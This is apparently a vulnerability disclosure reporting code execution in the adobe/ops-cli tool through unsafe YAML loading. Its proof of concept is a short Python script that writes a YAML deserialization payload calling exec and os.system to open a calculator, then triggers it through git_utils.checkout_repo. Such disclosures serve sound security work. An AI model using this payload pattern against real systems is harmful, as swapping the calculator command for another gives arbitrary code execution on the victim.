Code Injection in adobe/ops-cli
Valid
Reported on
Feb 14th 2021
Description
ops-cli
is a wrapper for Terraform, Ansible, Helmfile and SSH for cloud automation , which is vulnerable to Arbitary Code Execution
.
Vulnerability
Vulnerable to YAML deserialization attack caused by unsafe loading.
Proof of Concept
Installation
pip install ops-cli
Run exploit.py
import os
#os.system('pip install --upgrade ops-cli')
from ops import git_utils
exploit = """!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('xcalc')"
"""
open('pwn.yml','w+').write(exploit)
git_utils.checkout_repo('Anon-Artist','pwn.yml','Junk')
python3 exploit.py
Impact
Arbitary Code Execution
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